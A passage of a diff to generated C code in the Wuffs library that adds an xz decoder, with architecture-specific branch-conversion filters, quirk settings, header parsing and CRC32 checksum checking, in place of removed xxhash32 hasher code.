wuffs_base__slice_u8__subslice_i(v_s, 4u); -+ } -+ self->private_impl.f_bcj_pos = ((uint32_t)(v_p - 8u)); -+ return ((uint8_t)(((uint64_t)(v_s.len)))); -+} -+ -+// -------- func xz.decoder.apply_filter_08_armthumb -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_filter_08_armthumb( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice) { -+ wuffs_base__slice_u8 v_s = {0}; -+ uint32_t v_p = 0; -+ uint32_t v_x = 0; -+ uint32_t v_y = 0; -+ -+ v_s = a_dst_slice; -+ v_p = ((uint32_t)(self->private_impl.f_bcj_pos + 4u)); -+ while (((uint64_t)(v_s.len)) >= 4u) { -+ v_x = ((((uint32_t)(v_s.ptr[0u])) << 0u) | -+ (((uint32_t)(v_s.ptr[1u])) << 8u) | -+ (((uint32_t)(v_s.ptr[2u])) << 16u) | -+ (((uint32_t)(v_s.ptr[3u])) << 24u)); -+ if ((v_x & 4160813056u) != 4160811008u) { -+ v_p += 2u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); -+ continue; -+ } -+ v_y = ((((uint32_t)(((uint8_t)(v_s.ptr[0u] & 255u)))) << 11u) | -+ (((uint32_t)(((uint8_t)(v_s.ptr[1u] & 7u)))) << 19u) | -+ (((uint32_t)(((uint8_t)(v_s.ptr[2u] & 255u)))) << 0u) | -+ (((uint32_t)(((uint8_t)(v_s.ptr[3u] & 7u)))) << 8u)); -+ v_y = (((uint32_t)(((uint32_t)(v_y << 1u)) - v_p)) >> 1u); -+ v_s.ptr[0u] = ((uint8_t)((v_y >> 11u))); -+ v_s.ptr[1u] = ((uint8_t)((((v_y >> 19u) & 7u) | 240u))); -+ v_s.ptr[2u] = ((uint8_t)((v_y >> 0u))); -+ v_s.ptr[3u] = ((uint8_t)((((v_y >> 8u) & 7u) | 248u))); -+ v_p += 4u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); -+ } -+ self->private_impl.f_bcj_pos = ((uint32_t)(v_p - 4u)); -+ return ((uint8_t)(((uint64_t)(v_s.len)))); -+} -+ -+// -------- func xz.decoder.apply_filter_09_sparc -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_filter_09_sparc( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice) { -+ wuffs_base__slice_u8 v_s = {0}; -+ uint32_t v_p = 0; -+ uint32_t v_x = 0; -+ -+ v_s = a_dst_slice; -+ v_p = self->private_impl.f_bcj_pos; -+ while (((uint64_t)(v_s.len)) >= 4u) { -+ v_x = ((((uint32_t)(v_s.ptr[0u])) << 24u) | -+ (((uint32_t)(v_s.ptr[1u])) << 16u) | -+ (((uint32_t)(v_s.ptr[2u])) << 8u) | -+ (((uint32_t)(v_s.ptr[3u])) << 0u)); -+ if (((v_x >> 22u) == 256u) || ((v_x >> 22u) == 511u)) { -+ v_x = (((uint32_t)(((uint32_t)(v_x << 2u)) - v_p)) >> 2u); -+ v_x = ((1073741824u - (v_x & 4194304u)) | 1073741824u | (v_x & 4194303u)); -+ v_s.ptr[0u] = ((uint8_t)((v_x >> 24u))); -+ v_s.ptr[1u] = ((uint8_t)((v_x >> 16u))); -+ v_s.ptr[2u] = ((uint8_t)((v_x >> 8u))); -+ v_s.ptr[3u] = ((uint8_t)((v_x >> 0u))); -+ } -+ v_p += 4u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); -+ } -+ self->private_impl.f_bcj_pos = v_p; -+ return ((uint8_t)(((uint64_t)(v_s.len)))); -+} -+ -+// -------- func xz.decoder.apply_filter_0a_arm64 -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_filter_0a_arm64( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice) { -+ wuffs_base__slice_u8 v_s = {0}; -+ uint32_t v_p = 0; -+ uint32_t v_x = 0; -+ uint32_t v_y = 0; -+ -+ v_s = a_dst_slice; -+ v_p = self->private_impl.f_bcj_pos; -+ while (((uint64_t)(v_s.len)) >= 4u) { -+ v_x = ((((uint32_t)(v_s.ptr[0u])) << 0u) | -+ (((uint32_t)(v_s.ptr[1u])) << 8u) | -+ (((uint32_t)(v_s.ptr[2u])) << 16u) | -+ (((uint32_t)(v_s.ptr[3u])) << 24u)); -+ if ((v_x >> 26u) == 37u) { -+ v_y = ((uint32_t)(v_x - (v_p >> 2u))); -+ v_x = (2483027968u | (v_y & 67108863u)); -+ v_s.ptr[0u] = ((uint8_t)((v_x >> 0u))); -+ v_s.ptr[1u] = ((uint8_t)((v_x >> 8u))); -+ v_s.ptr[2u] = ((uint8_t)((v_x >> 16u))); -+ v_s.ptr[3u] = ((uint8_t)((v_x >> 24u))); -+ } else if ((v_x & 2667577344u) == 2415919104u) { -+ v_y = (((v_x >> 29u) & 3u) | ((v_x >> 3u) & 2097148u)); -+ if ((((uint32_t)(v_y + 131072u)) & 1835008u) == 0u) { -+ v_y -= (v_p >> 12u); -+ v_x &= 2415919135u; -+ v_x |= ((v_y & 3u) << 29u); -+ v_x |= ((v_y & 262140u) << 3u); -+ v_x |= (((uint32_t)(0u - (v_y & 131072u))) & 14680064u); -+ v_s.ptr[0u] = ((uint8_t)((v_x >> 0u))); -+ v_s.ptr[1u] = ((uint8_t)((v_x >> 8u))); -+ v_s.ptr[2u] = ((uint8_t)((v_x >> 16u))); -+ v_s.ptr[3u] = ((uint8_t)((v_x >> 24u))); -+ } -+ } -+ v_p += 4u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); -+ } -+ self->private_impl.f_bcj_pos = v_p; -+ return ((uint8_t)(((uint64_t)(v_s.len)))); -+} -+ -+// -------- func xz.decoder.apply_filter_0b_riscv -+ -+WUFFS_BASE__GENERATED_C_CODE -+static uint8_t -+wuffs_xz__decoder__apply_filter_0b_riscv( -+ wuffs_xz__decoder* self, -+ wuffs_base__slice_u8 a_dst_slice) { -+ wuffs_base__slice_u8 v_s = {0}; -+ uint32_t v_p = 0; -+ uint32_t v_x = 0; -+ uint32_t v_x27 = 0; -+ uint32_t v_y = 0; -+ uint32_t v_addr = 0; -+ -+ v_s = a_dst_slice; -+ v_p = self->private_impl.f_bcj_pos; -+ while (((uint64_t)(v_s.len)) >= 8u) { -+ if (v_s.ptr[0u] == 239u) { -+ if (((uint8_t)(v_s.ptr[1u] & 13u)) != 0u) { -+ v_p += 2u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); -+ continue; -+ } -+ v_addr = ((((uint32_t)(((uint8_t)(v_s.ptr[1u] & 240u)))) << 13u) | (((uint32_t)(v_s.ptr[2u])) << 9u) | (((uint32_t)(v_s.ptr[3u])) << 1u)); -+ v_addr -= v_p; -+ v_s.ptr[1u] = ((uint8_t)(((uint8_t)(v_s.ptr[1u] & 15u)) | ((uint8_t)(((v_addr >> 8u) & 240u))))); -+ v_s.ptr[2u] = ((uint8_t)((((v_addr >> 16u) & 15u) | ((v_addr >> 7u) & 16u) | (((uint32_t)(v_addr << 4u)) & 224u)))); -+ v_s.ptr[3u] = ((uint8_t)((((v_addr >> 4u) & 127u) | ((v_addr >> 13u) & 128u)))); -+ v_p += 4u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); -+ continue; -+ } else if (((uint8_t)(v_s.ptr[0u] & 127u)) == 23u) { -+ v_x = ((((uint32_t)(v_s.ptr[0u])) << 0u) | -+ (((uint32_t)(v_s.ptr[1u])) << 8u) | -+ (((uint32_t)(v_s.ptr[2u])) << 16u) | -+ (((uint32_t)(v_s.ptr[3u])) << 24u)); -+ if ((v_x & 3712u) != 0u) { -+ v_y = ((((uint32_t)(v_s.ptr[4u])) << 0u) | -+ (((uint32_t)(v_s.ptr[5u])) << 8u) | -+ (((uint32_t)(v_s.ptr[6u])) << 16u) | -+ (((uint32_t)(v_s.ptr[7u])) << 24u)); -+ if (((((uint32_t)(v_x << 8u)) ^ ((uint32_t)(v_y - 3u))) & 1015811u) != 0u) { -+ v_p += 6u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 6u); -+ continue; -+ } -+ v_addr = ((v_x & 4294963200u) | (v_y >> 20u)); -+ v_x = (279u | ((uint32_t)(v_y << 12u))); -+ v_s.ptr[0u] = ((uint8_t)((v_x >> 0u))); -+ v_s.ptr[1u] = ((uint8_t)((v_x >> 8u))); -+ v_s.ptr[2u] = ((uint8_t)((v_x >> 16u))); -+ v_s.ptr[3u] = ((uint8_t)((v_x >> 24u))); -+ v_s.ptr[4u] = ((uint8_t)((v_addr >> 0u))); -+ v_s.ptr[5u] = ((uint8_t)((v_addr >> 8u))); -+ v_s.ptr[6u] = ((uint8_t)((v_addr >> 16u))); -+ v_s.ptr[7u] = ((uint8_t)((v_addr >> 24u))); -+ v_p += 8u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 8u); -+ continue; -+ } -+ v_x27 = (v_x >> 27u); -+ if (((uint32_t)(((uint32_t)(v_x - 12567u)) << 18u)) >= (v_x27 & 29u)) { -+ v_p += 4u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 4u); -+ continue; -+ } -+ v_addr = ((((uint32_t)(v_s.ptr[4u])) << 24u) | -+ (((uint32_t)(v_s.ptr[5u])) << 16u) | -+ (((uint32_t)(v_s.ptr[6u])) << 8u) | -+ (((uint32_t)(v_s.ptr[7u])) << 0u)); -+ v_addr -= v_p; -+ v_y = ((v_x >> 12u) | ((uint32_t)(v_addr << 20u))); -+ v_x = (23u | (v_x27 << 7u) | (((uint32_t)(v_addr + 2048u)) & 4294963200u)); -+ v_s.ptr[0u] = ((uint8_t)((v_x >> 0u))); -+ v_s.ptr[1u] = ((uint8_t)((v_x >> 8u))); -+ v_s.ptr[2u] = ((uint8_t)((v_x >> 16u))); -+ v_s.ptr[3u] = ((uint8_t)((v_x >> 24u))); -+ v_s.ptr[4u] = ((uint8_t)((v_y >> 0u))); -+ v_s.ptr[5u] = ((uint8_t)((v_y >> 8u))); -+ v_s.ptr[6u] = ((uint8_t)((v_y >> 16u))); -+ v_s.ptr[7u] = ((uint8_t)((v_y >> 24u))); -+ v_p += 8u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 8u); -+ continue; -+ } -+ v_p += 2u; -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, 2u); -+ } -+ self->private_impl.f_bcj_pos = v_p; -+ return ((uint8_t)(((uint64_t)(v_s.len)))); -+} -+ -+// -------- func xz.decoder.get_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_xxhash32__hasher__get_quirk( -- const wuffs_xxhash32__hasher* self, -+wuffs_xz__decoder__get_quirk( -+ const wuffs_xz__decoder* self, - uint32_t a_key) { - if (!self) { - return 0; -@@ -61527,15 +77160,24 @@ wuffs_xxhash32__hasher__get_quirk( - return 0; - } - -+ if (a_key == 1u) { -+ if (self->private_impl.f_ignore_checksum) { -+ return 1u; -+ } -+ } else if (a_key == 2021322752u) { -+ if (self->private_impl.f_standalone_format) { -+ return 1u; -+ } -+ } - return 0u; - } - --// -------- func xxhash32.hasher.set_quirk -+// -------- func xz.decoder.set_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_xxhash32__hasher__set_quirk( -- wuffs_xxhash32__hasher* self, -+wuffs_xz__decoder__set_quirk( -+ wuffs_xz__decoder* self, - uint32_t a_key, - uint64_t a_value) { - if (!self) { -@@ -61548,747 +77190,1667 @@ wuffs_xxhash32__hasher__set_quirk( - : wuffs_base__error__initialize_not_called); - } - -+ if (a_key == 1u) { -+ self->private_impl.f_ignore_checksum = (a_value > 0u); -+ return wuffs_base__make_status(NULL); -+ } else if (a_key == 2021322752u) { -+ self->private_impl.f_standalone_format = (a_value > 0u); -+ return wuffs_base__make_status(NULL); -+ } - return wuffs_base__make_status(wuffs_base__error__unsupported_option); - } - --// -------- func xxhash32.hasher.update -+// -------- func xz.decoder.dst_history_retain_length - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct --wuffs_xxhash32__hasher__update( -- wuffs_xxhash32__hasher* self, -- wuffs_base__slice_u8 a_x) { -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_xz__decoder__dst_history_retain_length( -+ const wuffs_xz__decoder* self) { - if (!self) { -- return wuffs_base__make_empty_struct(); -+ return wuffs_base__utility__make_optional_u63(false, 0u); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__make_optional_u63(false, 0u); -+ } -+ -+ return wuffs_lzma__decoder__dst_history_retain_length(&self->private_data.f_lzma); -+} -+ -+// -------- func xz.decoder.workbuf_len -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_xz__decoder__workbuf_len( -+ const wuffs_xz__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ -+ return wuffs_lzma__decoder__workbuf_len(&self->private_data.f_lzma); -+} -+ -+// -------- func xz.decoder.transform_io -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_xz__decoder__transform_io( -+ wuffs_xz__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } - if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_empty_struct(); -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 1)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_transform_io; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_xz__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_xz__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_transform_io = 0; -+ goto exit; - } - -- wuffs_base__slice_u8 v_remaining = {0}; -+ goto suspend; -+ suspend: -+ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; - -- if ((self->private_impl.f_length_modulo_u32 == 0u) && ! self->private_impl.f_length_overflows_u32) { -- self->private_impl.f_v0 = 606290984u; -- self->private_impl.f_v1 = 2246822519u; -- self->private_impl.f_v2 = 0u; -- self->private_impl.f_v3 = 1640531535u; -- } -- while (((uint64_t)(a_x.len)) > 0u) { -- v_remaining = wuffs_base__slice_u8__subslice_j(a_x, 0u); -- if (((uint64_t)(a_x.len)) > 16777216u) { -- v_remaining = wuffs_base__slice_u8__subslice_i(a_x, 16777216u); -- a_x = wuffs_base__slice_u8__subslice_j(a_x, 16777216u); -- } -- wuffs_xxhash32__hasher__up(self, a_x); -- a_x = v_remaining; -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; - } -- return wuffs_base__make_empty_struct(); -+ return status; - } - --// -------- func xxhash32.hasher.update_u32 -+// -------- func xz.decoder.do_transform_io - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint32_t --wuffs_xxhash32__hasher__update_u32( -- wuffs_xxhash32__hasher* self, -- wuffs_base__slice_u8 a_x) { -- if (!self) { -- return 0; -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return 0; -- } -+static wuffs_base__status -+wuffs_xz__decoder__do_transform_io( -+ wuffs_xz__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); - -- wuffs_xxhash32__hasher__update(self, a_x); -- return wuffs_xxhash32__hasher__checksum_u32(self); --} -+ uint64_t v_header_magic = 0; -+ uint64_t v_dmark = 0; -+ uint64_t v_smark = 0; -+ uint8_t v_i8 = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ uint32_t v_checksum32_have = 0; -+ uint32_t v_checksum32_want = 0; -+ uint64_t v_checksum64_have = 0; -+ uint64_t v_checksum64_want = 0; -+ wuffs_base__bitvec256 v_checksum256_have = {0}; -+ uint64_t v_compressed_size = 0; -+ uint64_t v_uncompressed_size = 0; -+ uint32_t v_hash = 0; -+ uint8_t v_c8 = 0; -+ uint32_t v_c32 = 0; -+ uint16_t v_footer_magic = 0; - --// -------- func xxhash32.hasher.up -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } - --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__empty_struct --wuffs_xxhash32__hasher__up( -- wuffs_xxhash32__hasher* self, -- wuffs_base__slice_u8 a_x) { -- uint32_t v_new_lmu = 0; -- uint32_t v_buf_u32 = 0; -- uint32_t v_buf_len = 0; -- uint32_t v_v0 = 0; -- uint32_t v_v1 = 0; -- uint32_t v_v2 = 0; -- uint32_t v_v3 = 0; -- wuffs_base__slice_u8 v_p = {0}; -+ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; -+ if (coro_susp_point) { -+ v_checksum32_have = self->private_data.s_do_transform_io.v_checksum32_have; -+ v_checksum32_want = self->private_data.s_do_transform_io.v_checksum32_want; -+ v_checksum256_have = self->private_data.s_do_transform_io.v_checksum256_have; -+ v_compressed_size = self->private_data.s_do_transform_io.v_compressed_size; -+ v_uncompressed_size = self->private_data.s_do_transform_io.v_uncompressed_size; -+ } -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- v_new_lmu = ((uint32_t)(self->private_impl.f_length_modulo_u32 + ((uint32_t)(((uint64_t)(a_x.len)))))); -- self->private_impl.f_length_overflows_u32 = ((v_new_lmu < self->private_impl.f_length_modulo_u32) || self->private_impl.f_length_overflows_u32); -- self->private_impl.f_length_modulo_u32 = v_new_lmu; -- while (true) { -- if (self->private_impl.f_buf_len >= 16u) { -- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[0u])) | -- (((uint32_t)(self->private_impl.f_buf_data[1u])) << 8u) | -- (((uint32_t)(self->private_impl.f_buf_data[2u])) << 16u) | -- (((uint32_t)(self->private_impl.f_buf_data[3u])) << 24u)); -- v_v0 = ((uint32_t)(self->private_impl.f_v0 + ((uint32_t)(v_buf_u32 * 2246822519u)))); -- v_v0 = (((uint32_t)(v_v0 << 13u)) | (v_v0 >> 19u)); -- self->private_impl.f_v0 = ((uint32_t)(v_v0 * 2654435761u)); -- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[4u])) | -- (((uint32_t)(self->private_impl.f_buf_data[5u])) << 8u) | -- (((uint32_t)(self->private_impl.f_buf_data[6u])) << 16u) | -- (((uint32_t)(self->private_impl.f_buf_data[7u])) << 24u)); -- v_v1 = ((uint32_t)(self->private_impl.f_v1 + ((uint32_t)(v_buf_u32 * 2246822519u)))); -- v_v1 = (((uint32_t)(v_v1 << 13u)) | (v_v1 >> 19u)); -- self->private_impl.f_v1 = ((uint32_t)(v_v1 * 2654435761u)); -- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[8u])) | -- (((uint32_t)(self->private_impl.f_buf_data[9u])) << 8u) | -- (((uint32_t)(self->private_impl.f_buf_data[10u])) << 16u) | -- (((uint32_t)(self->private_impl.f_buf_data[11u])) << 24u)); -- v_v2 = ((uint32_t)(self->private_impl.f_v2 + ((uint32_t)(v_buf_u32 * 2246822519u)))); -- v_v2 = (((uint32_t)(v_v2 << 13u)) | (v_v2 >> 19u)); -- self->private_impl.f_v2 = ((uint32_t)(v_v2 * 2654435761u)); -- v_buf_u32 = (((uint32_t)(self->private_impl.f_buf_data[12u])) | -- (((uint32_t)(self->private_impl.f_buf_data[13u])) << 8u) | -- (((uint32_t)(self->private_impl.f_buf_data[14u])) << 16u) | -- (((uint32_t)(self->private_impl.f_buf_data[15u])) << 24u)); -- v_v3 = ((uint32_t)(self->private_impl.f_v3 + ((uint32_t)(v_buf_u32 * 2246822519u)))); -- v_v3 = (((uint32_t)(v_v3 << 13u)) | (v_v3 >> 19u)); -- self->private_impl.f_v3 = ((uint32_t)(v_v3 * 2654435761u)); -- self->private_impl.f_buf_len = 0u; -- break; -- } -- if (((uint64_t)(a_x.len)) <= 0u) { -- return wuffs_base__make_empty_struct(); -- } -- self->private_impl.f_buf_data[self->private_impl.f_buf_len] = a_x.ptr[0u]; -+ while (true) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ uint64_t t_0; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 6)) { -+ t_0 = ((uint64_t)(wuffs_base__peek_u48le__no_bounds_check(iop_a_src))); -+ iop_a_src += 6; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_0 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_0; -+ if (num_bits_0 == 40) { -+ t_0 = ((uint64_t)(*scratch)); -+ break; -+ } -+ num_bits_0 += 8u; -+ *scratch |= ((uint64_t)(num_bits_0)) << 56; -+ } -+ } -+ v_header_magic = t_0; -+ } -+ if (v_header_magic != 388031461373u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_header); -+ goto exit; -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -+ uint64_t t_1; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 6)) { -+ t_1 = ((uint64_t)(wuffs_base__peek_u48le__no_bounds_check(iop_a_src))); -+ iop_a_src += 6; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_1 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_1; -+ if (num_bits_1 == 40) { -+ t_1 = ((uint64_t)(*scratch)); -+ break; -+ } -+ num_bits_1 += 8u; -+ *scratch |= ((uint64_t)(num_bits_1)) << 56; -+ } -+ } -+ v_header_magic = t_1; -+ } -+ if (v_header_magic == 72400582410240u) { -+ self->private_impl.f_checksummer = 0u; -+ } else if (v_header_magic == 60327687946496u) { -+ self->private_impl.f_checksummer = 1u; -+ } else if (v_header_magic == 77742513456128u) { -+ self->private_impl.f_checksummer = 2u; -+ } else if (v_header_magic == 177077137508864u) { -+ self->private_impl.f_checksummer = 3u; -+ } else if ((v_header_magic & 61695u) != 0u) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_header); -+ goto exit; -+ } else { -+ v_header_magic = (15u & (v_header_magic >> 8u)); -+ if ((v_header_magic != 0u) && -+ (v_header_magic != 1u) && -+ (v_header_magic != 4u) && -+ (v_header_magic != 10u)) { -+ status = wuffs_base__make_status(wuffs_xz__error__unsupported_checksum_algorithm); -+ goto exit; -+ } -+ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); -+ goto exit; -+ } -+ self->private_impl.f_flags = ((uint16_t)(v_header_magic)); -+ self->private_impl.f_num_actual_blocks = 0u; -+ while (true) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -+ continue; -+ } else if (wuffs_base__peek_u8be__no_bounds_check(iop_a_src) == 0u) { -+ break; -+ } -+ self->private_impl.f_num_actual_blocks += 1u; -+ if ( ! self->private_impl.f_ignore_checksum) { -+ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, -+ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED)); -+ } -+ self->private_impl.f_compressed_size_for_index = 4u; -+ while (true) { -+ v_smark = ((uint64_t)(iop_a_src - io0_a_src)); -+ { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ wuffs_base__status t_2 = wuffs_xz__decoder__decode_block_header_with_padding(self, a_src); -+ v_status = t_2; -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ } -+ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_compressed_size_for_index, wuffs_private_impl__io__count_since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)))); -+ if ( ! self->private_impl.f_ignore_checksum) { -+ v_checksum32_have = wuffs_crc32__ieee_hasher__update_u32(&self->private_data.f_crc32, wuffs_private_impl__io__since(v_smark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); -+ } -+ if (wuffs_base__status__is_ok(&v_status)) { -+ break; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); -+ } -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(7); -+ uint32_t t_3; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_3 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_transform_io.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(8); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_transform_io.scratch; -+ uint32_t num_bits_3 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_3; -+ if (num_bits_3 == 24) { -+ t_3 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_3 += 8u; -+ *scratch |= ((uint64_t)(num_bits_3)) << 56; -+ } -+ } -+ v_checksum32_want = t_3; -+ } -+ if (self->private_impl.f_ignore_checksum) { -+ } else if (v_checksum32_have != v_checksum32_want) { -+ status = wuffs_base__make_status(wuffs_xz__error__bad_checksum); -+ goto exit; -+ } else { -+ wuffs_private_impl__ignore_status(wuffs_crc32__ieee_hasher__initialize(&self->private_data.f_crc32, -+ sizeof (wuffs_crc32__ieee_hasher), WUFFS_VERSION, 